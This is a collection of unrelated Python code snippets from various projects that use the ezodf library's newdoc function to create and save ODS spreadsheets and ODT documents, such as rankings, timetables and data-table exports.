def saveRanking(connection, filename): """ Enregistre dans un fichier au format ODS les performances des nageurs, et crée des onglets avec le classement actuel et prévisionnel. :param connection: :param filename: nom du fichier à enregistrer :type filename: str """ ods=ezodf.newdoc(doctype="ods", filename=filename) ods.inject_style("""<style:style style:name="Titre" style:family="table-cell"><style:table-cell-properties style:text-align-source="fix" style:repeat-content="false" fo:wrap-option="wrap" style:vertical-align="middle" style:vertical-justify="auto"/><style:paragraph-properties fo:text-align="center" fo:margin-left="0mm"/><style:text-properties style:font-name="Titre" fo:font-family="Titre" fo:font-weight="bold" style:font-name-asian="Arial Unicode MS" style:font-family-asian="'Arial Unicode MS'" style:font-family-generic-asian="system" style:font-pitch-asian="variable" style:font-weight-asian="bold" style:font-name-complex="Arial Unicode MS" style:font-family-complex="'Arial Unicode MS'" style:font-family-generic-complex="system" style:font-pitch-complex="variable" style:font-weight-complex="bold"/></style:style>""") #ods.inject_style("""<style:style style:name="Titre" style:family="table-cell"><style:table-cell-properties style:text-align-source="fix" style:repeat-content="false" fo:wrap-option="wrap" style:vertical-align="middle" loext:vertical-justify="auto"/><style:paragraph-properties fo:text-align="center" fo:margin-left="0mm"/><style:text-properties style:font-name="Titre" fo:font-family="Titre" fo:font-weight="bold" style:font-name-asian="Arial Unicode MS" style:font-family-asian="'Arial Unicode MS'" style:font-family-generic-asian="system" style:font-pitch-asian="variable" style:font-weight-asian="bold" style:font-name-complex="Arial Unicode MS" style:font-family-complex="'Arial Unicode MS'" style:font-family-generic-complex="system" style:font-pitch-complex="variable" style:font-weight-complex="bold"/></style:style>""") sheet = createSheetfromTable(connection, 'NatathlonF') ods.sheets.append(sheet) sheet = createRankingSheet('ClassementF', 'NatathlonF', sheet.nrows()) ods.sheets.insert(0, sheet) sheet = createSheetfromTable(connection, 'NatathlonH') ods.sheets.append(sheet) sheet = createRankingSheet('ClassementH', 'NatathlonH', sheet.nrows()) ods.sheets.insert(1, sheet) sheet = createSheetFromRequest(connection, "Competitions", "SELECT c.Id, c.Date, p.Location FROM Competitions c, Pools p WHERE p.Id = c.IdPool") ods.sheets.append(sheet) ods.save()
def create(self, path): self._path = path self._prepend = None self._workbook = ezodf.newdoc(doctype='ods', filename=path) self._worksheet = ezodf.Table(self.settings.worksheet, size=(self.end['row'], self.end['col'])) self._workbook.sheets.append(self._worksheet)
def export_to_ods(self, filename, editor): from database.file_formats.exporter.monodi.ods import MonodiOdsConfig from ezodf import newdoc, Paragraph, Heading, Sheet ods = newdoc(doctype='ods', filename=filename) config = MonodiOdsConfig() sheet = ezodf.Sheet('Tabellenblatt1', size=(2, config.length)) ods.sheets += sheet for x in config.entries: sheet[x.cell.get_entry()].set_value(x.value) sheet[''.join( [config.dict['Textinitium Editionseinheit'].cell.column, str(2)])].set_value(self.textinitium) sheet[''.join([config.dict['Startseite'].cell.column, str(2)])].set_value(self.start.page_name) sheet[''.join([config.dict['Startzeile'].cell.column, str(2)])].set_value(self.start.row) sheet[''.join([config.dict['Endseite'].cell.column, str(2)])].set_value(self.end.page_name) sheet[''.join([config.dict['Endzeile'].cell.column, str(2)])].set_value(self.end.row) sheet[''.join([config.dict['Editor'].cell.column, str(2)])].set_value(str(editor)) sheet[''.join([config.dict['Doc-Id\' (intern)'].cell.column, str(2)])].set_value(self.monody_id) sheet[''.join([config.dict['Quellen-ID (intern)'].cell.column, str(2)])].set_value('Editorenordner') bytes = ods.tobytes() return bytes
def SaveToLibre(filename, grid): numcols = grid.GetNumberCols() numrows = grid.GetNumberRows() book = ezodf.newdoc(doctype="ods", filename=filename) book.sheets += ezodf.Sheet('Data', size=(numrows + 10, numcols + 10)) book.sheets += ezodf.Sheet('Meta', size=(20, numcols + 10)) datasheet = book.sheets['Data'] metasheet = book.sheets['Meta'] metasheet[(0,0)].set_value("Name") metasheet[(1,0)].set_value("Alignment") metasheet[(2,0)].set_value("Label") metasheet[(3,0)].set_value("Measure") metasheet[(4,0)].set_value("Variable type") metasheet[(5,0)].set_value("Decimal places") metasheet[(6,0)].set_value("Missing values") for idxx in range(numcols): for idxy in range(numrows): val = grid.GetCellValue(idxy, idxx) datasheet[(idxy + 1, idxx)].set_value(val) label = grid.GetColLabelValue(idxx) meta = grid.meta[idxx] # was [label] datasheet[(0, idxx)].set_value(meta['name']) metasheet[(0, idxx + 1)].set_value(meta['name']) metasheet[(1, idxx + 1)].set_value(meta['align']) metasheet[(2, idxx + 1)].set_value(meta['label']) metasheet[(3, idxx + 1)].set_value(meta['measure']) metasheet[(4, idxx + 1)].set_value(meta['ivdv']) metasheet[(5, idxx + 1)].set_value(meta[str('decplaces')]) metasheet[(6, idxx + 1)].set_value(meta['missingvalues']) book.save()
def start_odf(self): self.document = ezodf.newdoc(doctype='odt', filename=self.filename) self.add_odf_style('SO', 'fo:font-weight="bold"') self.add_odf_style('OK', 'fo:font-size="9pt"') self.add_odf_style('G', 'fo:font-size="9pt"') self.add_odf_style('DSP', 'fo:font-style="italic"') self.add_odf_style('TIP', 'fo:font-size="9pt"') # IP self.add_odf_style('M1', 'fo:font-weight="bold"') self.add_odf_style('M2', 'fo:font-weight="bold"') # VH, HH, VR, HR self.add_odf_style('REF', 'fo:font-weight="bold"') self.add_odf_style('FO', 'fo:font-style="italic"') self.add_odf_style('TIK', 'fo:font-style="italic" fo:font-size="9pt"') self.add_odf_style('FLV', 'fo:font-weight="bold" fo:font-size="9pt"') # ÖVP. Se nedan! # BE, ÖV # ÄV, ÄVK se nedan # FOT self.add_odf_style('GT', 'fo:font-size="9pt"') self.add_odf_style('SOV', 'fo:font-weight="bold"') # TI # HV, INT self.add_odf_style('OKT', 'fo:font-size="9pt"') # VS self.add_odf_style('GÖ', 'fo:font-size="9pt"') # GP, UST self.add_odf_style('US', 'fo:font-style="italic"') # GÖP, GTP, NYR, VB self.add_odf_style('OG', 'style:text-line-through-style="solid"') self.add_odf_style('SP', 'fo:font-style="italic"')
def SaveToLibre(filename, grid): numcols = grid.GetNumberCols() numrows = grid.GetNumberRows() book = ezodf.newdoc(doctype="ods", filename=filename) book.sheets += ezodf.Sheet('Data', size=(numrows + 10, numcols + 10)) book.sheets += ezodf.Sheet('Meta', size=(20, numcols + 10)) datasheet = book.sheets['Data'] metasheet = book.sheets['Meta'] metasheet[(0,0)].set_value("Name") metasheet[(1,0)].set_value("Alignment") metasheet[(2,0)].set_value("Label") metasheet[(3,0)].set_value("Measure") metasheet[(4,0)].set_value("Variable type") metasheet[(5,0)].set_value("Decimal places") metasheet[(6,0)].set_value("Missing values") for idxx in range(numcols): for idxy in range(numrows): val = grid.GetCellValue(idxy, idxx) datasheet[(idxy + 1, idxx)].set_value(val) label = grid.GetColLabelValue(idxx) meta = grid.meta[label] datasheet[(0, idxx)].set_value(meta['name']) metasheet[(0, idxx + 1)].set_value(meta['name']) metasheet[(1, idxx + 1)].set_value(meta['align']) metasheet[(2, idxx + 1)].set_value(meta['label']) metasheet[(3, idxx + 1)].set_value(meta['measure']) metasheet[(4, idxx + 1)].set_value(meta['ivdv']) metasheet[(5, idxx + 1)].set_value(meta[str('decplaces')]) metasheet[(6, idxx + 1)].set_value(meta['missingvalues']) book.save()
def __init__(self, filename, verbose=False, **kwargs): print( "\x1b[1;37;43mCode OK only for one sheet size Spreadsheets \x1b[0m" ) self.new_col = False self.new_row = False # if "new_cols" in kwargs.keys(): # self.new_col = True # self.param_col = kwargs["param_col"] #tuple ou list # # # if "new_rows" in kwargs.keys(): # self.new_row = True # self.param_row = kwargs["param_row"] if os.path.exists(filename) == False: if os.path.splitext(os.path.abspath(filename))[1] != "ods": filename = os.path.splitext( os.path.abspath(filename))[0] + ".ods" doc = ez.newdoc(os.path.abspath(filename)) else: doc = ez.opendoc(filename) self.doc = doc self.kwargs = kwargs self.filename = filename
def export_events_ods(path): hist = export_events() COLUMNS = [ 'Event', 'Preempt count', 'Stack trace', 'Total', 'with_fix', 'without_fix', 'apache_with_fix', 'apache_without_fix', 'memcached_with_fix', 'memcached_without_fix', 'node_with_fix', 'node_without_fix', 'postgresql_with_fix', 'postgresql_without_fix', ] + [ '%d MB' % mem_pressure for mem_pressure in MEM_SIZES ] rows = [] for event, stats in hist.items(): rows.append([ event[0], int(event[1].split('=')[-1]), ','.join([frame[0] for frame in event[2]]), sum(stats['by_test'].values()), ( stats['by_test'].get('apache_with_fix', 0) + stats['by_test'].get('memcached_with_fix', 0) + stats['by_test'].get('node_with_fix', 0) + stats['by_test'].get('postgresql_with_fix', 0) ), ( stats['by_test'].get('apache_without_fix', 0) + stats['by_test'].get('memcached_without_fix', 0) + stats['by_test'].get('node_without_fix', 0) + stats['by_test'].get('postgresql_without_fix', 0) ), stats['by_test'].get('apache_with_fix', 0), stats['by_test'].get('apache_without_fix', 0), stats['by_test'].get('memcached_with_fix', 0), stats['by_test'].get('memcached_without_fix', 0), stats['by_test'].get('node_with_fix', 0), stats['by_test'].get('node_without_fix', 0), stats['by_test'].get('postgresql_with_fix', 0), stats['by_test'].get('postgresql_without_fix', 0), ] + [ stats['by_mem_pressure'].get(mem_pressure, 0) for mem_pressure in MEM_SIZES ]) sorted_rows = sorted(rows, key=lambda x: int(x[3]), reverse=True) sheet = ezodf.Sheet('events', size=(4000, 100)) set_row(sheet, 0, COLUMNS) for i, row in enumerate(sorted_rows): set_row(sheet, i + 1, row) ods = ezodf.newdoc(doctype='ods', filename=path) ods.sheets += sheet ods.save()
def create(self, path): self._path = path self._max_cells = max(self.cells) self._workbook = ezodf.newdoc(doctype='ods', filename=path) self._worksheet = ezodf.Table(self.settings.worksheet, size=(self.end['row'], self._max_cells + 1)) self._workbook.sheets.append(self._worksheet)
def create(self, path): self._path = path self._max_cells = max(self.cells) self._workbook = ezodf.newdoc(doctype='ods', filename=path) self._worksheet = ezodf.Table( self.settings.worksheet, size=(self.end['row'], self._max_cells + 1)) self._workbook.sheets.append(self._worksheet)
def open(self, file_name, **keywords): """open a file for writing ods""" BookWriter.open(self, file_name, **keywords) self.native_book = ezodf.newdoc(doctype="ods", filename=self.file_alike_object) skip_backup_flag = self.keywords.get('skip_backup', True) if skip_backup_flag: self.native_book.backup = False
def open(self, file_name, **keywords): """open a file for writing ods""" BookWriter.open(self, file_name, **keywords) self._native_book = ezodf.newdoc(doctype="ods", filename=self._file_alike_object) skip_backup_flag = self._keywords.get('skip_backup', True) if skip_backup_flag: self._native_book.backup = False
def exportToOds(self, result, file): ods = newdoc(doctype='ods', filename=unicode(file)) sheet = Sheet('Sheet 1', size=(len(result) + 1, len(result[0]) + 1)) ods.sheets += sheet for i in xrange(len(result)): for j in xrange(len(result[0])): sheet[i, j].set_value(result[i][j]) ods.save()
def main(): fname = sys.argv[1] pf = pdffile(fname) pf.get_pages() pf.get_text() #print pf.text odt = newdoc(doctype='odt', filename=fname + '.odt') odt.body += Paragraph(pf.text) odt.save()
def __init__( self, file_alike_object, file_type, skip_backup=True, **keywords ): """open a file for writing ods""" self.ods_book = ezodf.newdoc( doctype=file_type, filename=file_alike_object ) if skip_backup: self.ods_book.backup = False
def exportToOds(self, result, file): file = unicode(file)#.encode(sys.getfilesystemencoding()) ods = newdoc(doctype='ods', filename=file) sheet = Sheet('Sheet 1', size=(len(result)+1, len(result[0])+1)) ods.sheets += sheet for i in xrange(len(result)): for j in xrange(len(result[0])): sheet[i,j].set_value(result[i][j]) ods.save()
def exportToOds(self, result, file): file = unicode(file).encode('windows-1252') ods = newdoc(doctype='ods', filename=unicode(file)) sheet = Sheet('Sheet 1', size=(len(result)+1, len(result[0])+1)) ods.sheets += sheet for i in xrange(len(result)): for j in xrange(len(result[0])): sheet[i,j].set_value(result[i][j]) ods.save()
def export_ods_2d(glider, filename): doc = ezodf.newdoc(doctype="ods", filename=filename) assert isinstance(glider, openglider.glider.parametric.glider.ParametricGlider) doc.sheets.append(get_geom_sheet(glider)) cell_sheet = get_cell_sheet(glider).get_ods_sheet() cell_sheet.name = "Cell Elements" doc.sheets.append(cell_sheet) doc.sheets.append(get_rib_sheet(glider)) doc.sheets.append(get_airfoil_sheet(glider)) doc.sheets.append(get_ballooning_sheet(glider)) doc.sheets.append(get_parametric_sheet(glider)) doc.sheets.append(get_lines_sheet(glider)) doc.sheets.append(get_data_sheet(glider)) # airfoil sheet doc.saveas(filename)
def get_glider_data(glider): specsheet = get_specs(glider) glider.lineset.recalc(iterations=30) linesheet = glider.lineset.get_table() linesheet2 = glider.lineset.get_table_2() # linesheet = glider.lineset.get_table_2() rigidfoils = get_rigidfoils(glider) straps = get_straps(glider) material_sheets = get_material_sheets(glider) out_ods = ezodf.newdoc(doctype="ods") out_ods.sheets.append(specsheet) out_ods.sheets.append(linesheet.get_ods_sheet()) out_ods.sheets.append(linesheet2.get_ods_sheet()) out_ods.sheets.append(rigidfoils) out_ods.sheets.append(straps) for sheet in material_sheets: out_ods.sheets.append(sheet) return out_ods
def damp_timetable(self, filename): ''' Creates file in .ods format with selected name for timetable keeping. ''' group_names = sorted([g.id for g in self.groups]) week, hours = TimetablePlanner.WEEK, TimetablePlanner.HOURS + ['6th'] time_slots = [(d, h) for d in week for h in hours] ods = ezodf.newdoc(doctype='ods', filename=filename) sheet = ezodf.Sheet('Timetable', size=(37, 6)) ods.sheets += sheet coords = [str(r) + str(c) for r in 'ABCDEF' for c in range(2, 38)] headers = [c + '1' for c in 'ABCDEF'] for header, name in zip(headers, group_names): sheet[header].set_value(name) start, end = 0, 36 for g in sorted(self.groups, key=lambda x: x.id): for (coord, timeslot) in zip(coords[start:end], time_slots): if timeslot in g.busy_time: sheet[coord].set_value(g.busy_time[timeslot][0]) start, end = end, end + 36 ods.save()
def tei2odf(xml_file, xslt_file, result_file): xslt_tree = open_file(xslt_file) transform = etree.XSLT(xslt_tree) #transform the TEI transcriptions with XSLT to odt XML format doc = open_file(xml_file) result_tree = transform(doc) #create new odt file odt = newdoc(doctype='odt', filename=result_file) #add styles to the odt file styles = result_tree.xpath("//style:style", namespaces={"style": "urn:oasis:names:tc:opendocument:xmlns:style:1.0"}) for s in styles: odt.inject_style(etree.tostring(s, pretty_print = True)) #add the body/text to the odd file text = result_tree.xpath("//office:text/*", namespaces={"office": "urn:oasis:names:tc:opendocument:xmlns:office:1.0"}) for idx, t in enumerate(text): odt.body.xmlnode.insert(idx,t) odt.save()
def export_documents_to_ods(documents: List[Document], filename, username): from database.file_formats.exporter.monodi.ods import MonodiOdsConfig from ezodf import newdoc, Paragraph, Heading, Sheet import ezodf ods = newdoc(doctype='ods', filename=filename) config = MonodiOdsConfig() sheet = ezodf.Sheet('Tabellenblatt1', size=(len(documents) + 1, config.length)) ods.sheets += sheet for x in config.entries: sheet[x.cell.get_entry()].set_value(x.value) for doc_ind, doc in enumerate(documents, start=2): sheet[''.join([ config.dict['Textinitium Editionseinheit'].cell.column, str(doc_ind) ])].set_value(doc.textinitium) sheet[''.join( [config.dict['Startseite'].cell.column, str(doc_ind)])].set_value(doc.start.page_name) sheet[''.join( [config.dict['Startzeile'].cell.column, str(doc_ind)])].set_value(doc.start.row) sheet[''.join([config.dict['Endseite'].cell.column, str(doc_ind)])].set_value(doc.end.page_name) sheet[''.join([config.dict['Endzeile'].cell.column, str(doc_ind)])].set_value(doc.end.row) sheet[''.join([config.dict['Editor'].cell.column, str(doc_ind)])].set_value(username) sheet[''.join( [config.dict['Doc-Id\' (intern)'].cell.column, str(doc_ind)])].set_value(doc.monody_id) sheet[''.join( [config.dict['Quellen-ID (intern)'].cell.column, str(doc_ind)])].set_value('Editorenordner') bytes = ods.tobytes() return bytes
print("Index : " + str(channel.index)) print("Quantity: " + channel.quantity + "(" + channel.symbol + ")") print("Unit : " + (channel.unit or "--")) print("Range : (" + str(round(float(channel.min), 3)) + ", " + str(round(float(channel.max), 3)) + ")") print("Count : " + channel.count) if index < len(channels): print("-------------------------------------------") index += 1 else: if len((args.outputpath or "")) < 1: print("No output path specified. Use -h for help") exit(1) # Construct a sheet from the channels length = channels[0].count spreadsheet = newdoc(doctype="ods", filename=args.outputpath) sheet = Sheet("Sheet 1", size=(int(length) + 10, len(channels))) col = 0 for channel in channels: if args.channels is not None: if str(channel.index) in args.channels: col += channel.appendSheet(sheet, col) print("") else: col += channel.appendSheet(sheet, col) print("") spreadsheet.sheets += sheet spreadsheet.save()
import linecache from ezodf import newdoc, Sheet vetor_metricas = [ 'ua', 'mmloc', 'acc', 'da', 'sc', 'mlk', 'rfc', 'uaf', 'saigv', 'amloc', 'an', 'cbo', 'anpm', 'rsva', 'asom', 'osf', 'npm', 'auv', 'obaa', 'noa', 'lcom4', 'nom', 'dbz', 'pitfc', 'dnp', 'bd', 'dit', 'npa', 'fgbo', 'dupv', 'bf', 'noc', 'accm', 'loc', 'df', 'uav', 'rogu' ] for metrica in vetor_metricas: print(metrica) #Aqui eu crio a estrutura da planilha ods = newdoc(doctype='ods', filename=metrica + '.ods') sheet = Sheet('SHEET', size=(100, 12)) ods.sheets += sheet sheet['B1'].set_value("Min") sheet['C1'].set_value("1%") sheet['D1'].set_value("5%") sheet['E1'].set_value("10%") sheet['F1'].set_value("25%") sheet['G1'].set_value("50%") sheet['H1'].set_value("75%") sheet['I1'].set_value("90%") sheet['J1'].set_value("95%") sheet['K1'].set_value("99%")
def exportTable(matrix, fname, ext, title=None): """Save data to a file Inputs matrix: array with data to save fname: name of file to save ext: name of format to save csv | ods | xls | xlsx title: column title array, optional """ sheetTitle = QApplication.translate("pychemqt", "Table") if fname.split(".")[-1] != ext: fname += ".%s" % ext # Format title header = [] if title: for ttl in title: line = str(ttl).split(os.linesep) if line[-1] != "[-]": line[-1] = "[" + line[-1] + "]" header.append(" ".join(line)) if ext == "csv": import csv with open(fname, 'w') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=header) writer.writeheader() for row in matrix: kw = {} for ttl, value in zip(header, row): kw[ttl] = value writer.writerow(kw) elif ext == "ods": import ezodf spreadsheet = ezodf.newdoc("ods", fname) sheets = spreadsheet.sheets sheet = ezodf.Table(sheetTitle) sheets += sheet sheet.reset(size=(len(matrix) + 1, len(matrix[0]))) # Add Data if title: for i, ttl in enumerate(header): sheet["%s%i" % (spreadsheetColumn(i), 1)].set_value(ttl) for j, row in enumerate(matrix): for i, data in enumerate(row): sheet["%s%i" % (spreadsheetColumn(i), j + 2)].set_value(data) spreadsheet.save() elif ext == "xls": import xlwt spreadsheet = xlwt.Workbook() sheet = spreadsheet.add_sheet(sheetTitle) font = xlwt.Font() font.bold = True style = xlwt.XFStyle() style.font = font # Add Data if title: for i, ttl in enumerate(header): sheet.write(0, i, ttl, style) for j, row in enumerate(matrix): for i, data in enumerate(row): sheet.write(j + 1, i, data) spreadsheet.save(fname) elif ext == "xlsx": import openpyxl from openpyxl.styles import Font spreadsheet = openpyxl.Workbook() sheet = spreadsheet.active sheet.title = sheetTitle font1 = Font() font1.size = 9 font1.bold = True font2 = Font() font2.size = 9 # Add Data if title: for i, ttl in enumerate(header): sheet["%s%i" % (spreadsheetColumn(i), 1)] = ttl sheet["%s%i" % (spreadsheetColumn(i), 1)].style.font = font1 for j, row in enumerate(matrix): for i, data in enumerate(row): sheet["%s%i" % (spreadsheetColumn(i), j + 2)] = data sheet["%s%i" % (spreadsheetColumn(i), j + 2)].style.font = font2 spreadsheet.save(filename=fname) else: raise ValueError( QApplication.translate("pychemqt", "Unsopported format") + " " + ext)
def prepareOds(): ''' ''' camps = ['total', 'id_districtes', 'districtes', 'id_zones', 'subzona_x','subzona_y','id', 'homes', 'dones', 'no se sap', 'animals', 'al ras', 'sota cobert', 'dins cotxe', 'dins caixer'] if os.path.isfile(ods) == True: return doc = ezodf.newdoc(doctype="ods", filename=ods) sheets = doc.sheets sheets += ezodf.Table('total') sheets += ezodf.Table('districtes') sheets += ezodf.Table('zones') sheets += ezodf.Table('subzones') sheets += ezodf.Table('conteig') for sheet in doc.sheets: for c, n in enumerate(camps): doc.sheets[sheet.name] doc.sheets[sheet.name].append_columns(1) doc.sheets[sheet.name][0,c].set_value(n) #fill fields districtes conn = sqlite3.connect(zones) c = conn.cursor() c.execute('''select cast(c_distri as integer), n_distri from zones group by c_distri order by cast(c_distri as integer)''') for rown , row in enumerate(c.fetchall()): doc.sheets['districtes'].append_rows(1) doc.sheets['districtes'][rown+1,1].set_value(row[0]) doc.sheets['districtes'][rown+1,2].set_value(row[1]) conn.close() doc.save() #fill fields zones zonesDict={} conn = sqlite3.connect(zones) c = conn.cursor() c.execute('''select cast(c_distri as integer), n_distri, cast(name as integer) from zones group by name order by cast(name as integer)''') for rown , row in enumerate(c.fetchall()): doc.sheets['zones'].append_rows(1) doc.sheets['zones'][rown+1,1].set_value(row[0]) doc.sheets['zones'][rown+1,2].set_value(row[1]) doc.sheets['zones'][rown+1,3].set_value(row[2]) zonesDict[row[2]]=(row[0], row[1]) conn.close() doc.save() #fill fields subzones conn = sqlite3.connect(subzones) c = conn.cursor() c.execute('''select cast(name as integer), x, y from elementsdiv order by cast(name as integer), x, y''') for rown , row in enumerate(c.fetchall()): doc.sheets['zones'].append_rows(1) doc.sheets['zones'][rown+1,1].set_value(zonesDict[row[0]][0]) doc.sheets['zones'][rown+1,2].set_value(zonesDict[row[0]][1]) doc.sheets['zones'][rown+1,3].set_value(row[0]) doc.sheets['zones'][rown+1,4].set_value(row[1]) doc.sheets['zones'][rown+1,5].set_value(row[2]) conn.close() doc.save() return
def exportTable(matrix, fname, ext, title=None): """Save data to a file Inputs matrix: array with data to save fname: name of file to save ext: name of format to save csv | ods | xls | xlsx title: column title array, optional """ sheetTitle = QApplication.translate("pychemqt", "Table") if fname.split(".")[-1] != ext: fname += ".%s" % ext # Format title header = [] if title: for ttl in title: line = str(ttl).split(os.linesep) if line[-1] != "[-]": line[-1] = "["+line[-1]+"]" header.append(" ".join(line)) if ext == "csv": import csv with open(fname, 'w') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=header) writer.writeheader() for row in matrix: kw = {} for ttl, value in zip(header, row): kw[ttl] = value writer.writerow(kw) elif ext == "ods": import ezodf spreadsheet = ezodf.newdoc("ods", fname) sheets = spreadsheet.sheets sheet = ezodf.Table(sheetTitle) sheets += sheet sheet.reset(size=(len(matrix)+1, len(matrix[0]))) # Add Data if title: for i, ttl in enumerate(header): sheet["%s%i" % (spreadsheetColumn(i), 1)].set_value(ttl) for j, row in enumerate(matrix): for i, data in enumerate(row): sheet["%s%i" % (spreadsheetColumn(i), j+2)].set_value(data) spreadsheet.save() elif ext == "xls": import xlwt spreadsheet = xlwt.Workbook() sheet = spreadsheet.add_sheet(sheetTitle) font = xlwt.Font() font.bold = True style = xlwt.XFStyle() style.font = font # Add Data if title: for i, ttl in enumerate(header): sheet.write(0, i, ttl, style) for j, row in enumerate(matrix): for i, data in enumerate(row): sheet.write(j+1, i, data) spreadsheet.save(fname) elif ext == "xlsx": import openpyxl from openpyxl.styles import Font spreadsheet = openpyxl.Workbook() sheet = spreadsheet.active sheet.title = sheetTitle font1 = Font() font1.size = 9 font1.bold = True font2 = Font() font2.size = 9 # Add Data if title: for i, ttl in enumerate(header): sheet["%s%i" % (spreadsheetColumn(i), 1)] = ttl sheet["%s%i" % (spreadsheetColumn(i), 1)].style.font = font1 for j, row in enumerate(matrix): for i, data in enumerate(row): sheet["%s%i" % (spreadsheetColumn(i), j+2)] = data sheet["%s%i" % (spreadsheetColumn(i), j+2)].style.font = font2 spreadsheet.save(filename=fname) else: raise ValueError(QApplication.translate( "pychemqt", "Unsopported format") + " " + ext)
#!/usr/bin/env python #coding:utf-8 # Purpose: # Created: 10.04.12 # Copyright (C) 2012, Manfred Moitzi # License: MIT license import ezodf from ezodf.text import Paragraph, Heading from ezodf.whitespaces import SoftPageBreak name = 'pageBreakText.odt' odt = ezodf.newdoc(doctype=name[-3:], filename=name) odt.body.append(Heading("Page Break test")) odt.body.append(Paragraph("This is the first page")) # does not work with LibO/OOo odt.body.append(SoftPageBreak()) odt.body.append(Paragraph("This is the second page")) odt.save()
#!/usr/bin/env python #coding:utf-8 # Purpose: example make_refshett.py # Created: 05.02.2011 # Copyright (C) 2011, Manfred Moitzi # License: MIT license from __future__ import unicode_literals, print_function, division __author__ = "mozman <*****@*****.**>" import ezodf NCOLS=10 NROWS=10 ods = ezodf.newdoc('ods', 'refsheet.ods') sheet = ezodf.Sheet('REFS', size=(NROWS, NCOLS)) ods.sheets += sheet for row in range(NROWS): for col in range(NCOLS): content = chr(ord('A') + col) + str(row+1) sheet[row, col].set_value(content) ods.save()
#!/usr/bin/env python #coding:utf-8 # Purpose: simple spreadsheet # Created: 26.01.2011 # Copyright (C) 2011, Manfred Moitzi # License: MIT license from __future__ import unicode_literals, print_function, division __author__ = "mozman <*****@*****.**>" import ezodf ods = ezodf.newdoc('ods', "simple_spreadsheet.ods") sheet = ezodf.Sheet('NUMBERS', size=(20, 10)) ods.sheets += sheet for index in range(sheet.ncols()): sheet[5, index].set_value(index) sheet[index, 5].set_value(index) sheet[index, index].set_value(index, value_type='currency', currency='EUR') sheet = ezodf.Sheet('TEXT', size=(20, 10)) ods.sheets += sheet for column in range(sheet.ncols()): for row, cell in enumerate(sheet.column(column)): cell.set_value("Cell (%d, %d)" % (row, column)) ods.save()
import os import linecache from ezodf import newdoc, Sheet vetor_metricas = ['ua', 'mmloc', 'acc', 'da', 'sc', 'mlk', 'rfc', 'uaf', 'saigv', 'amloc', 'an', 'cbo', 'anpm', 'rsva', 'asom', 'osf', 'npm', 'auv', 'obaa', 'noa', 'lcom4', 'nom', 'dbz', 'pitfc', 'dnp', 'bd', 'dit', 'npa', 'fgbo', 'dupv', 'bf', 'noc', 'accm', 'loc', 'df', 'uav', 'rogu'] for metrica in vetor_metricas: print(metrica) #Aqui eu crio a estrutura da planilha ods = newdoc(doctype='ods', filename= metrica + '.ods') sheet = Sheet('SHEET', size=(100, 12)) ods.sheets += sheet sheet['B1'].set_value("Min") sheet['C1'].set_value("1%") sheet['D1'].set_value("5%") sheet['E1'].set_value("10%") sheet['F1'].set_value("25%") sheet['G1'].set_value("50%") sheet['H1'].set_value("75%") sheet['I1'].set_value("90%") sheet['J1'].set_value("95%") sheet['K1'].set_value("99%") sheet['L1'].set_value("Máx") vetor_posicoes = ['B','C','D','E','F','G','H','I','J','K','L']
#!/usr/bin/env python #coding:utf-8 # Purpose: create a simple list # Created: 18.01.2011 # Copyright (C) 2011, Manfred Moitzi # License: MIT license from __future__ import unicode_literals, print_function, division __author__ = "mozman <*****@*****.**>" import ezodf name = 'simple_list_document.odt' odt = ezodf.newdoc(doctype=name[-3:], filename=name) content = odt.body content.append(ezodf.Heading("A Simple List")) content.append(ezodf.ezlist(['Point 1', 'Point 2', 'Point 3'])) odt.save()
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import ezodf from ezodf.text import Paragraph, Heading, Span, ListItem, List, CN from sla import sla, DictAttr, State import lxml.etree import sys from svd_util import optz optz.text( 'template') optz,args = optz.get() odt = ezodf.newdoc( doctype='odt', filename= args[0], template= optz.template ) body = odt.body pic = body.find( CN("draw:frame")) body.clear() if pic: body.append( pic) def Heading2(): return Heading( outline_level=2) def Heading3(): return Heading( outline_level=3) styles = { 'h1': Heading, 'h3': Heading2, 'p' : Paragraph, 'dd list-entry': ListItem, 'dt list-hdr': Heading3, 'dt list-hdr0': Heading3, 'dl': List, 'ul': List, 'mail': None,
#!/usr/bin/env python #coding:utf-8 # Purpose: example spreadhet with formula # Created: 06.02.2011 # Copyright (C) 2011, Manfred Moitzi # License: MIT license from __future__ import unicode_literals, print_function, division __author__ = "mozman <*****@*****.**>" import ezodf ods = ezodf.newdoc('ods') sheet = ezodf.Sheet('SUM Formula') ods.sheets += sheet for col in range(5): for row in range(10): sheet[row, col].set_value(col * 10. + row) sheet['F9'].set_value("Summe:") sheet['F10'].formula = 'of:=SUM([.A1:.E10])' sheet['F1'].formula = 'of:=SUM([.A1];[.B1];[.C1];[.D1];[.E1])' ods.saveas('sum_formula.ods')
print len(lst) for num, l in lst: #l is a tuple of chapt_nr and list of chapter elements sections.append(create_section_xml(num, l)) print len(sections) #create new odt file fname = d+".odf" if os.path.isfile(fname): os.remove(fname) print "File %s removed!" %fname odt = newdoc(doctype='odt', filename=fname) print "File %s created!" %fname #add styles to the odt file for s in styles: odt.inject_style(etree.tostring(s, pretty_print = True)) print "Styles added to file %s!" %fname #add title #add first folio nr for idx, p in enumerate(sections): print "Adding paragraph %s!" %idx if idx == 0:
def __init__(self, filename, **keywords): BookWriter.__init__(self, filename) # in case something will be done self.native_book = ezodf.newdoc(doctype="ods", filename=filename)
def exportTable(matrix, fname, format, title=None): """Save data to a file Inputs matrix: array with data to save fname: name of file to save format: name of format to save csv | ods | xls | xlsx title: column title array, optional """ sheetTitle = unicode(QApplication.translate("pychemqt", "Table")) if fname.split(".")[-1] != format: fname+=".%s" % format # Format title if title: header = [] for ttl in title: line = unicode(ttl).split(os.linesep) if line[-1] != "[-]": line[-1] = "["+line[-1]+"]" header.append(" ".join(line)) c_newline=maketrans(os.linesep, " ") if format == "csv": import csv with open(fname, "w") as archivo: writer = csv.writer(archivo, delimiter='\t', quotechar='"', quoting=csv.QUOTE_NONE) # Add Data if title: writer.writerow([ttl.translate(c_newline) for ttl in header]) c_float=maketrans(".", ",") for row in matrix: writer.writerow([str(data).translate(c_float) for data in row]) elif format == "ods": import ezodf spreadsheet = ezodf.newdoc("ods", fname) sheets = spreadsheet.sheets sheet=ezodf.Table(sheetTitle) sheets+=sheet sheet.reset(size=(len(matrix)+1, len(matrix[0]))) # Add Data if title: for i, ttl in enumerate(header): sheet["%s%i"%(spreadsheetColumn(i), 1)].set_value(ttl) for j, row in enumerate(matrix): for i, data in enumerate(row): sheet["%s%i"%(spreadsheetColumn(i), j+2)].set_value(data) spreadsheet.save() elif format == "xls": 